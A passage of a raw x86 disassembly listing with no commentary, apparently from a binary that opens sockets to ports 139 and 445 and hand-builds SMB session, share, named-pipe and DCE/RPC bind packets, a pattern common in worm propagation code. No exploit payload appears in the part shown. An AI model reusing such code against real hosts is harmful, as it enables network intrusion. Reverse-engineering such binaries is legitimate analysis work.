; ---------------------------------------------------------------------------


loc_410EB1:				; CODE XREF: sub_410DC0+12Bj
		mov	[ebp+var_8], 6
		mov	[ebp+var_4], 0
		mov	[ebp+var_10], 1
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		push	0
		push	ebx
		push	edi
		push	[ebp+var_14]
		call	sub_40A32C
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410EE3
		or	eax, eax
		jnz	short loc_410EE5


loc_410EE3:				; CODE XREF: sub_410DC0+11Dj
		jmp	short loc_410F0B
; ---------------------------------------------------------------------------


loc_410EE5:				; CODE XREF: sub_410DC0+121j
		add	edi, eax
		sub	ebx, eax


loc_410EE9:				; CODE XREF: sub_410DC0+EFj
		or	ebx, ebx
		jnz	short loc_410EB1
		jmp	short loc_410F0B
; ---------------------------------------------------------------------------


loc_410EEF:				; CODE XREF: sub_410DC0+D9j
		push	45724474h
		call	sub_414414
		jmp	short loc_410F0B
; ---------------------------------------------------------------------------
		db 0EBh
		db 0Eh
; ---------------------------------------------------------------------------


loc_410EFD:				; CODE XREF: sub_410DC0+C7j
					; sub_410DC0+CBj
		jmp	short loc_410F15
; ---------------------------------------------------------------------------
		db 0EBh
		db 0Ah
; ---------------------------------------------------------------------------


loc_410F01:				; CODE XREF: sub_410DC0+A1j
		jmp	short loc_410F15
; ---------------------------------------------------------------------------
		db 0EBh
		db 6
; ---------------------------------------------------------------------------


loc_410F05:				; CODE XREF: sub_410DC0+6Aj
		jmp	short loc_410F15
; ---------------------------------------------------------------------------
		db 0EBh
		db 2
; ---------------------------------------------------------------------------


loc_410F09:				; CODE XREF: sub_410DC0+4Cj
					; sub_410DC0+55j
		jmp	short loc_410F15
; ---------------------------------------------------------------------------


loc_410F0B:				; CODE XREF: sub_410DC0:loc_410EE3j
					; sub_410DC0+12Dj ...
		mov	eax, [ebp+var_18]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
; ---------------------------------------------------------------------------


loc_410F15:				; CODE XREF: sub_410DC0:loc_410EFDj
					; sub_410DC0:loc_410F01j ...
		call	sub_40A2F0
		push	eax
		call	sub_414414
		jmp	short loc_410F0B
sub_410DC0	endp

; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	24A48D00h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F30	proc near		; CODE XREF: sub_407B46+8Ep
					; sub_408440:loc_4085FCp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	[ebp+var_C], 0FFFFFFFFh
		or	edi, edi
		jz	loc_41106D
		push	0
		call	sub_41274B
		or	eax, eax
		jz	loc_41106D
		mov	[ebp+var_C], eax
		mov	ebx, eax
		push	31Ah
		push	edi
		push	ebx
		call	sub_40F5BF
		mov	dword ptr [ebx], 53484152h
		mov	[ebx+4], edi
		push	[ebp+arg_4]
		call	sub_40A266
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebx+0Ch]
		or	eax, eax
		jz	loc_41106D
		mov	esi, eax
		push	8Fh
		push	0
		push	esi
		call	sub_40F5F0
		mov	[ebp+var_4], esi
		add	esi, 4
		mov	dword ptr [esi], 424D53FFh
		mov	byte ptr [esi+4], 75h
		mov	byte ptr [esi+9], 18h
		mov	word ptr [esi+0Ah], 2001h
		push	esi
		push	ebx
		call	sub_412804
		add	esi, 20h
		mov	byte ptr [esi],	4
		mov	byte ptr [esi+1], 0FFh
		mov	byte ptr [esi+2], 0
		mov	word ptr [esi+3], 0
		mov	word ptr [esi+5], 0
		mov	word ptr [esi+7], 1
		mov	eax, 1
		add	eax, 6
		add	eax, [ebp+var_8]
		mov	[esi+9], ax
		add	esi, 0Bh
		add	esi, 1
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_40F5BF
		add	esi, [ebp+var_8]
		push	6
		push	offset dword_41A944
		push	esi
		call	sub_40F5BF
		add	esi, 6
		mov	edi, [ebp+var_4]
		sub	esi, edi
		lea	eax, [esi-4]
		push	eax
		call	sub_40A30E
		mov	[edi], eax
		push	2000h
		push	edi
		push	esi
		push	edi
		push	dword ptr [ebx+8]
		call	sub_410DC0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41105E
		add	edi, 4
		mov	ecx, [edi+5]
		or	ecx, ecx
		jnz	short loc_411047
		movzx	ecx, word ptr [edi+18h]
		mov	[ebx+56h], ecx
		jmp	short loc_41106D
; ---------------------------------------------------------------------------


loc_411047:				; CODE XREF: sub_410F30+10Cj
		push	ecx
		call	sub_414414
		push	[ebp+var_C]
		call	sub_412700
		mov	[ebp+var_C], 0FFFFFFFFh
		jmp	short loc_41106D
; ---------------------------------------------------------------------------


loc_41105E:				; CODE XREF: sub_410F30+102j
		push	[ebp+var_C]
		call	sub_412700
		mov	[ebp+var_C], 0FFFFFFFFh


loc_41106D:				; CODE XREF: sub_410F30+15j
					; sub_410F30+24j ...
		mov	eax, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_410F30	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 24A4h, 0FF8B0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411080	proc near		; CODE XREF: sub_407B46+ADp
					; sub_408440+1E5p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	[ebp+var_C], 0FFFFFFFFh
		or	edi, edi
		jz	loc_4111CB
		push	0
		call	sub_41274B
		or	eax, eax
		jz	loc_4111CB
		mov	[ebp+var_C], eax
		mov	ebx, eax
		push	31Ah
		push	edi
		push	ebx
		call	sub_40F5BF
		mov	dword ptr [ebx], 50495045h
		mov	[ebx+4], edi
		push	[ebp+arg_4]
		call	sub_40A266
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebx+0Ch]
		or	eax, eax
		jz	loc_4111CB
		mov	esi, eax
		push	0B7h
		push	0
		push	esi
		call	sub_40F5F0
		mov	[ebp+var_4], esi
		add	esi, 4
		mov	dword ptr [esi], 424D53FFh
		mov	byte ptr [esi+4], 0A2h
		mov	byte ptr [esi+9], 18h
		mov	word ptr [esi+0Ah], 2001h
		push	esi
		push	ebx
		call	sub_412804
		mov	eax, [ebx+56h]
		mov	[esi+18h], ax
		add	esi, 20h
		mov	byte ptr [esi],	18h
		mov	byte ptr [esi+1], 0FFh
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[esi+6], ax
		mov	dword ptr [esi+8], 16h
		mov	dword ptr [esi+10h], 2019Fh
		mov	dword ptr [esi+20h], 7
		mov	dword ptr [esi+24h], 1
		mov	dword ptr [esi+28h], 40h
		mov	dword ptr [esi+2Ch], 2
		mov	eax, [ebp+var_8]
		mov	[esi+31h], ax
		add	esi, 33h
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_40F5BF
		add	esi, [ebp+var_8]
		mov	edi, [ebp+var_4]
		sub	esi, edi
		lea	eax, [esi-4]
		push	eax
		call	sub_40A30E
		mov	[edi], eax
		push	1000h
		push	edi
		push	esi
		push	edi
		push	dword ptr [ebx+8]
		call	sub_410DC0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4111BC
		add	edi, 4
		mov	ecx, [edi+5]
		or	ecx, ecx
		jnz	short loc_4111A5
		add	edi, 20h
		movzx	ecx, word ptr [edi+6]
		mov	[ebx+186h], ecx
		jmp	short loc_4111CB
; ---------------------------------------------------------------------------


loc_4111A5:				; CODE XREF: sub_411080+114j
		push	ecx
		call	sub_414414
		push	[ebp+var_C]
		call	sub_412700
		mov	[ebp+var_C], 0FFFFFFFFh
		jmp	short loc_4111CB
; ---------------------------------------------------------------------------


loc_4111BC:				; CODE XREF: sub_411080+10Aj
		push	[ebp+var_C]
		call	sub_412700
		mov	[ebp+var_C], 0FFFFFFFFh


loc_4111CB:				; CODE XREF: sub_411080+15j
					; sub_411080+24j ...
		mov	eax, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_411080	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		dd 0
		dd 24648Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4111E0	proc near		; CODE XREF: sub_407B46+CCp
					; sub_408440:loc_408656p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+0Ch]
		or	eax, eax
		jz	loc_41132D
		mov	esi, eax
		push	0C5h
		push	0
		push	esi
		call	sub_40F5F0
		mov	[ebp+var_4], esi
		add	esi, 4
		mov	dword ptr [esi], 424D53FFh
		mov	byte ptr [esi+4], 25h
		mov	byte ptr [esi+9], 18h
		mov	word ptr [esi+0Ah], 2001h
		push	esi
		push	ebx
		call	sub_412804
		mov	eax, [ebx+56h]
		mov	[esi+18h], ax
		add	esi, 20h
		mov	byte ptr [esi],	10h
		mov	eax, 1Eh
		add	eax, 2Ah
		mov	[esi+3], ax
		mov	word ptr [esi+5], 400h
		mov	word ptr [esi+7], 0FFE0h
		mov	eax, 43h
		add	eax, 7
		mov	[esi+15h], ax
		mov	eax, 1Eh
		add	eax, 2Ah
		mov	[esi+17h], ax
		mov	eax, 43h
		add	eax, 7
		mov	[esi+19h], ax
		mov	byte ptr [esi+1Bh], 2
		mov	word ptr [esi+1Dh], 26h
		mov	eax, [ebx+186h]
		mov	[esi+1Fh], ax
		mov	eax, 1Eh
		add	eax, 7
		add	eax, 2Ah
		mov	[esi+21h], ax
		add	esi, 23h
		push	7
		push	offset loc_41A95C
		push	esi
		call	sub_40F5BF
		add	esi, 7
		mov	byte ptr [esi],	5
		mov	byte ptr [esi+2], 0Bh
		mov	byte ptr [esi+3], 3
		mov	dword ptr [esi+4], 10h
		mov	eax, 1Eh
		add	eax, 2Ah
		mov	[esi+8], ax
		mov	word ptr [esi+10h], 16D0h
		mov	word ptr [esi+12h], 16D0h
		mov	dword ptr [esi+18h], 1
		add	esi, 1Eh
		mov	word ptr [esi],	1 ; CODE XREF: .text:00401EDAj
		add	esi, 2
		push	14h
		push	[ebp+arg_4]
		push	esi
		call	sub_40F5BF
		add	esi, 14h
		push	14h
		push	offset byte_41A963
		push	esi
		call	sub_40F5BF
		add	esi, 14h
		mov	edi, [ebp+var_4]
		sub	esi, edi
		lea	eax, [esi-4]
		push	eax
		call	sub_40A30E
		mov	[edi], eax
		push	1000h
		push	edi
		push	esi
		push	edi
		push	dword ptr [ebx+8]
		call	sub_410DC0
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41132D
		add	edi, 4
		mov	esi, [edi+5]


loc_41132D:				; CODE XREF: sub_4111E0+11j
					; sub_4111E0+145j
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_4111E0	endp

; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	498D00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411340	proc near		; CODE XREF: sub_408440:loc_4086F5p
					; sub_412840+5Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_10], 0FFFFFFFFh
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+0Ch]
		or	eax, eax
		jz	loc_4114CA
		mov	esi, eax
		push	0BFh
		push	0
		push	esi
		call	sub_40F5F0
		mov	[ebp+var_4], esi
		add	esi, 4
		mov	dword ptr [esi], 424D53FFh
		mov	byte ptr [esi+4], 25h
		mov	byte ptr [esi+9], 18h
		mov	word ptr [esi+0Ah], 2001h
		mov	eax, [ebx+56h]
		mov	[esi+18h], ax
		push	esi
		push	ebx
		call	sub_412804
		add	esi, 20h
		mov	byte ptr [esi],	10h
		mov	eax, 18h
		add	eax, [ebp+arg_10]
		mov	[esi+3], ax
		mov	word ptr [esi+5], 400h
		mov	word ptr [esi+7], 0FFE0h
		mov	eax, 43h
		add	eax, 7
		mov	[esi+15h], ax
		mov	eax, 18h
		add	eax, [ebp+arg_10]
		mov	[esi+17h], ax
		mov	eax, 43h
		add	eax, 7
		mov	[esi+19h], ax
		mov	byte ptr [esi+1Bh], 2
		mov	word ptr [esi+1Dh], 26h
		mov	eax, [ebx+186h]
		mov	[esi+1Fh], ax
		mov	eax, 18h
		add	eax, 7
		add	eax, [ebp+arg_10]
		mov	[esi+21h], ax
		add	esi, 23h
		push	7
		push	offset loc_41A95C
		push	esi
		call	sub_40F5BF
		add	esi, 7
		mov	byte ptr [esi],	5
		mov	eax, [ebp+arg_8]
		mov	[esi+3], al
		mov	dword ptr [esi+4], 10h
		mov	eax, [ebp+arg_10]
		add	eax, 18h
		mov	[esi+8], ax
		mov	eax, [ebp+arg_10]
		mov	[esi+10h], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+16h], ax
		add	esi, 18h
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	sub_40F5BF
		add	esi, [ebp+arg_10]
		mov	edi, [ebp+var_4]
		sub	esi, edi
		lea	eax, [esi-4]
		push	eax
		call	sub_40A30E
		mov	[edi], eax
		push	2000h
		push	edi
		push	esi
		push	edi
		push	dword ptr [ebx+8]
		call	sub_410DC0
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4114CA
		add	edi, 4
		mov	esi, edi
		mov	eax, [edi+5]
		mov	[ebp+var_10], eax
		add	edi, 20h
		cmp	[ebp+var_10], 0
		jnz	short loc_4114CA
		mov	esi, edi
		add	esi, 17h
		add	esi, 3
		and	esi, 0FFFFFFFCh
		xor	eax, eax
		cmp	byte ptr [esi],	5
		jnz	short loc_4114A2
		cmp	byte ptr [esi+3], 3
		jnz	short loc_4114A2
		cmp	byte ptr [esi+2], 2
		jnz	short loc_4114A2
		mov	eax, [esi+10h]


loc_4114A2:				; CODE XREF: sub_411340+151j
					; sub_411340+157j ...
		mov	[ebp+var_C], eax
		cmp	[ebp+arg_18], 0
		jz	short loc_4114CA
		cmp	[ebp+arg_14], 0
		jz	short loc_4114CA
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_18]
		mov	[ecx], eax
		add	edi, 17h
		add	edi, 17h
		add	edi, 3
		and	edi, 0FFFFFFFCh
		mov	ecx, [ebp+arg_14]
		mov	[ecx], edi


loc_4114CA:				; CODE XREF: sub_411340+18j
					; sub_411340+12Bj ...
		mov	eax, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	1Ch
sub_411340	endp

; ---------------------------------------------------------------------------
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4114E0	proc near		; CODE XREF: sub_4095A0+22p
					; sub_411800+19p

var_430		= word ptr -430h
var_42E		= word ptr -42Eh
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBC8h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_40A31A
		mov	esi, eax
		push	6
		push	1
		push	2
		call	sub_40A34A
		cmp	eax, 0FFFFFFFFh
		jz	loc_4117EF
		mov	[ebp+var_42C], eax
		mov	[ebp+var_14], 2
		push	8Bh
		call	sub_40A314
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_418], 1
		lea	eax, [ebp+var_418]
		push	eax
		push	8004667Eh
		push	[ebp+var_42C]
		call	sub_40A326
		mov	[ebp+var_430], 1
		mov	[ebp+var_42E], 0
		push	4
		lea	eax, [ebp+var_430]
		push	eax
		push	80h
		push	0FFFFh
		push	[ebp+var_42C]
		call	sub_40A33E
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_42C]
		call	sub_40A302
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4117E6
		call	sub_40A2F0
		cmp	eax, 2733h
		jnz	loc_4116BA
		mov	[ebp+var_420], 6
		mov	[ebp+var_41C], 0
		mov	[ebp+var_428], 1
		mov	eax, [ebp+var_42C]
		mov	[ebp+var_424], eax
		lea	eax, [ebp+var_420]
		push	eax
		push	0
		lea	eax, [ebp+var_428]
		push	eax
		push	0
		push	0
		call	sub_40A332
		or	eax, eax
		jz	loc_4116B3
		cmp	eax, 0FFFFFFFFh
		jz	loc_4116B3


loc_4115FD:				; CODE XREF: sub_4114E0+30Aj
		push	0
		push	4Ch
		push	offset dword_41A830
		push	[ebp+var_42C]
		call	sub_40A338
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41161B
		jmp	loc_4116BA
; ---------------------------------------------------------------------------


loc_41161B:				; CODE XREF: sub_4114E0+134j
		mov	[ebp+var_420], 6
		mov	[ebp+var_41C], 0
		mov	[ebp+var_428], 1
		mov	eax, [ebp+var_42C]
		mov	[ebp+var_424], eax
		lea	eax, [ebp+var_420]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_428]
		push	eax
		push	0
		call	sub_40A332
		or	eax, eax
		jz	short loc_4116AC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4116AC
		push	0
		push	400h
		lea	eax, [ebp+var_414]
		push	eax
		push	[ebp+var_42C]
		call	sub_40A32C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411687
		jmp	short loc_4116BA
; ---------------------------------------------------------------------------


loc_411687:				; CODE XREF: sub_4114E0+1A3j
		lea	ecx, [ebp+var_414]
		cmp	byte ptr [ecx],	82h
		jnz	short loc_411697
		cmp	eax, 7
		jbe	short loc_411699


loc_411697:				; CODE XREF: sub_4114E0+1B0j
		jmp	short loc_4116BA
; ---------------------------------------------------------------------------


loc_411699:				; CODE XREF: sub_4114E0+1B5j
		push	[ebp+var_42C]
		pop	[ebp+var_4]
		jmp	loc_4117EF
; ---------------------------------------------------------------------------
		db 0E9h
		dd 143h
; ---------------------------------------------------------------------------


loc_4116AC:				; CODE XREF: sub_4114E0+180j
					; sub_4114E0+185j
		jmp	short loc_4116BA
; ---------------------------------------------------------------------------
		dw 3CE9h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_4116B3:				; CODE XREF: sub_4114E0+10Ej
					; sub_4114E0+117j
		jmp	short loc_4116BA
; ---------------------------------------------------------------------------
		db 0E9h, 35h, 1
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4116BA:				; CODE XREF: sub_4114E0+C3j
					; sub_4114E0+136j ...
		push	[ebp+var_42C]
		call	sub_40A2FC
		push	6
		push	1
		push	2
		call	sub_40A34A
		cmp	eax, 0FFFFFFFFh
		jz	loc_4117E4
		mov	[ebp+var_42C], eax
		push	1BDh
		call	sub_40A314
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_418], 1
		lea	eax, [ebp+var_418]
		push	eax
		push	8004667Eh
		push	[ebp+var_42C]
		call	sub_40A326
		mov	[ebp+var_430], 1
		mov	[ebp+var_42E], 0
		push	4
		lea	eax, [ebp+var_430]
		push	eax
		push	80h
		push	0FFFFh
		push	[ebp+var_42C]
		call	sub_40A33E
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_42C]
		call	sub_40A302
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4117DE
		call	sub_40A2F0
		cmp	eax, 2733h
		jnz	short loc_4117C4
		mov	[ebp+var_420], 6
		mov	[ebp+var_41C], 0
		mov	[ebp+var_428], 1
		mov	eax, [ebp+var_42C]
		mov	[ebp+var_424], eax
		lea	eax, [ebp+var_420]
		push	eax
		push	0
		lea	eax, [ebp+var_428]
		push	eax
		push	0
		push	0
		call	sub_40A332
		or	eax, eax
		jz	short loc_4117C0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4117C0


loc_4117B3:				; CODE XREF: sub_4114E0+302j
		push	[ebp+var_42C]
		pop	[ebp+var_4]
		jmp	short loc_4117EF
; ---------------------------------------------------------------------------
		dw 24EBh
; ---------------------------------------------------------------------------


loc_4117C0:				; CODE XREF: sub_4114E0+2CCj
					; sub_4114E0+2D1j
		jmp	short loc_4117C4
; ---------------------------------------------------------------------------
		dw 20EBh
; ---------------------------------------------------------------------------


loc_4117C4:				; CODE XREF: sub_4114E0+285j
					; sub_4114E0:loc_4117C0j
		push	2
		push	[ebp+var_42C]
		call	sub_40A344
		push	[ebp+var_42C]
		call	sub_40A2FC
		jmp	short loc_4117E4
; ---------------------------------------------------------------------------


loc_4117DE:				; CODE XREF: sub_4114E0+275j
		or	eax, eax
		jnz	short loc_4117E4
		jmp	short loc_4117B3
; ---------------------------------------------------------------------------


loc_4117E4:				; CODE XREF: sub_4114E0+1F3j
					; sub_4114E0+2FCj ...
		jmp	short loc_4117EF
; ---------------------------------------------------------------------------


loc_4117E6:				; CODE XREF: sub_4114E0+B3j
		or	eax, eax
		jnz	short loc_4117EF
		jmp	loc_4115FD
; ---------------------------------------------------------------------------


loc_4117EF:				; CODE XREF: sub_4114E0+2Bj
					; sub_4114E0+1C2j ...
		mov	eax, [ebp+var_4]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_4114E0	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411800	proc near		; CODE XREF: sub_407B46+3Ep
					; sub_407B46+65p ...

var_E8		= byte ptr -0E8h
var_78		= byte ptr -78h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF18h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_8], 0FFFFFFFFh
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_4114E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_41196C
		mov	edi, eax
		push	0
		call	sub_41274B
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	loc_411964
		mov	ebx, eax
		mov	dword ptr [ebx], 53455353h
		mov	[ebx+4], ebx
		call	sub_40A16A
		mov	[ebx+1Ch], eax
		mov	[ebx+8], edi
		push	4
		push	3000h
		push	2000h
		push	0
		call	sub_40A22A
		or	eax, eax
		jz	loc_41191C
		mov	[ebx+0Ch], eax
		lea	eax, [eax+1100h]
		mov	[ebx+10h], eax
		mov	eax, 0F00h
		mov	[ebx+14h], eax
		push	60h
		push	0
		lea	eax, [ebp+var_78]
		push	eax
		call	sub_40F5F0
		lea	eax, [ebp+var_78]
		push	eax
		push	dword_41A8A4
		push	offset byte_41A8A8
		push	[ebp+var_4]
		call	sub_4128B0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411921
		cmp	[ebp+arg_4], 0
		jz	short loc_411900
		cmp	[ebp+arg_8], 0
		jz	short loc_411900
		push	60h
		push	0
		lea	eax, [ebp+var_E8]
		push	eax
		call	sub_40F5F0
		lea	eax, [ebp+var_E8]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		push	[ebp+arg_8]
		call	sub_412990
		push	[ebp+arg_4]
		call	sub_414408
		push	[ebp+arg_4]
		call	sub_40A266
		inc	eax
		push	eax
		push	[ebp+arg_4]
		push	30h
		lea	eax, [ebp+var_E8]
		push	eax
		push	[ebp+var_4]
		call	sub_411980
		jmp	short loc_411910
; ---------------------------------------------------------------------------


loc_411900:				; CODE XREF: sub_411800+ADj
					; sub_411800+B3j
		push	0
		push	0
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_411980


loc_411910:				; CODE XREF: sub_411800+FEj
		or	eax, eax
		jnz	short loc_41191A
		push	[ebp+var_4]
		pop	[ebp+var_8]


loc_41191A:				; CODE XREF: sub_411800+112j
		jmp	short loc_411921
; ---------------------------------------------------------------------------


loc_41191C:				; CODE XREF: sub_411800+66j
		call	sub_40A17C


loc_411921:				; CODE XREF: sub_411800+A7j
					; sub_411800:loc_41191Aj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_411973
		mov	ebx, [ebp+var_4]
		or	ebx, ebx
		jz	short loc_411962
		cmp	dword ptr [ebx+8], 0
		jz	short loc_41195A
		push	dword ptr [ebx+8]
		call	sub_40A2FC
		cmp	dword ptr [ebx+0Ch], 0
		jz	short loc_41195A
		push	8000h
		push	0
		push	dword ptr [ebx+0Ch]
		call	sub_40A230
		or	eax, eax
		jnz	short loc_41195A
		call	sub_40A17C


loc_41195A:				; CODE XREF: sub_411800+132j
					; sub_411800+140j ...
		push	[ebp+var_4]
		call	sub_412700


loc_411962:				; CODE XREF: sub_411800+12Cj
		jmp	short loc_411973
; ---------------------------------------------------------------------------


loc_411964:				; CODE XREF: sub_411800+35j
		push	edi
		call	sub_40A2FC
		jmp	short loc_411973
; ---------------------------------------------------------------------------


loc_41196C:				; CODE XREF: sub_411800+21j
		mov	[ebp+var_8], 0FFFFFFFBh


loc_411973:				; CODE XREF: sub_411800+125j
					; sub_411800:loc_411962j ...
		mov	eax, [ebp+var_8]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
sub_411800	endp

; ---------------------------------------------------------------------------
		db 8Dh,	49h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411980	proc near		; CODE XREF: sub_411800+F9p
					; sub_411800+10Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_8], 0FFFFFFFFh
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+0Ch]
		or	eax, eax
		jz	loc_411B03
		mov	esi, eax
		push	105h
		push	0
		push	esi
		call	sub_40F5F0
		mov	[ebp+var_4], esi
		add	esi, 4
		mov	dword ptr [esi], 424D53FFh
		mov	byte ptr [esi+4], 73h
		mov	byte ptr [esi+9], 8
		mov	word ptr [esi+0Ah], 4001h
		push	esi
		push	ebx
		call	sub_412804
		add	esi, 20h
		mov	byte ptr [esi],	0Dh
		mov	byte ptr [esi+1], 0FFh
		mov	word ptr [esi+5], 4400h
		mov	word ptr [esi+7], 2
		mov	word ptr [esi+9], 9FCh
		mov	dword ptr [esi+17h], 0F0h
		xor	eax, eax
		cmp	[ebp+arg_8], eax
		jz	short loc_411A07
		cmp	[ebp+arg_10], eax
		jz	short loc_411A07
		cmp	[ebp+arg_4], eax
		jz	short loc_411A07
		cmp	[ebp+arg_C], eax
		jnz	short loc_411A0F


loc_411A07:				; CODE XREF: sub_411980+76j
					; sub_411980+7Bj ...
		mov	word ptr [esi+1Bh], 25h
		jmp	short loc_411A2A
; ---------------------------------------------------------------------------


loc_411A0F:				; CODE XREF: sub_411980+85j
		mov	word ptr [esi+0Fh], 18h
		mov	word ptr [esi+11h], 18h
		mov	eax, 30h
		add	eax, [ebp+arg_10]
		add	eax, 25h
		mov	[esi+1Bh], ax


loc_411A2A:				; CODE XREF: sub_411980+8Dj
		add	esi, 1Dh
		xor	eax, eax
		cmp	[ebp+arg_8], eax
		jz	short loc_411A43
		cmp	[ebp+arg_10], eax
		jz	short loc_411A43
		cmp	[ebp+arg_4], eax
		jz	short loc_411A43
		cmp	[ebp+arg_C], eax
		jnz	short loc_411A4A


loc_411A43:				; CODE XREF: sub_411980+B2j
					; sub_411980+B7j ...
		mov	[esi], eax
		add	esi, 2
		jmp	short loc_411A6F
; ---------------------------------------------------------------------------


loc_411A4A:				; CODE XREF: sub_411980+C1j
		push	30h
		push	[ebp+arg_4]
		push	esi
		call	sub_40F5BF
		add	esi, 30h
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	sub_40F5BF
		add	esi, [ebp+arg_10]
		mov	word ptr [esi],	20h
		add	esi, 2


loc_411A6F:				; CODE XREF: sub_411980+C8j
		push	23h
		push	offset dword_41A880
		push	esi
		call	sub_40F5BF
		add	esi, 23h
		mov	edi, [ebp+var_4]
		sub	esi, edi
		lea	eax, [esi-4]
		push	eax
		call	sub_40A30E
		mov	[edi], eax
		push	1F4h
		push	edi
		push	esi
		push	edi
		push	dword ptr [ebx+8]
		call	sub_410DC0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411B03
		mov	ecx, [edi]
		push	ecx
		call	sub_40A30E
		cmp	eax, 2Dh
		jbe	short loc_411B03
		add	edi, 4
		mov	esi, [edi+5]
